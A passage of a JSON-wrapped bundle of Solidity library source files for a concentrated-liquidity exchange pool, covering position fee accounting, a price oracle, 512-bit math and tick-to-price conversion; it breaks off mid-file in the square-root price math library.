"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n uint128 tokensOwed1 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 || tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n"
},
"contracts/libraries/Oracle.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) =\n getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *\n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n"
},
"contracts/libraries/FullMath.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.4.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2**256 and mod 2**256 - 1\n // then use the Chinese Remainder Theorem to reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2**256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2**256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2**256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2**256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2**256 such that denominator * inv = 1 mod 2**256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator * inv = 1 mod 2**4\n uint256 inv = (3 * denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv *= 2 - denominator * inv; // inverse mod 2**8\n inv *= 2 - denominator * inv; // inverse mod 2**16\n inv *= 2 - denominator * inv; // inverse mod 2**32\n inv *= 2 - denominator * inv; // inverse mod 2**64\n inv *= 2 - denominator * inv; // inverse mod 2**128\n inv *= 2 - denominator * inv; // inverse mod 2**256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2**256. Since the precoditions guarantee\n // that the outcome is less than 2**256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint128.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n"
},
"contracts/libraries/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) =\n token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');\n }\n}\n"
},
"contracts/libraries/TickMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2**-128 and 2**128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if |tick| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n"
},
"contracts/libraries/LiquidityMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n"
},
"contracts/libraries/SqrtPriceMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount 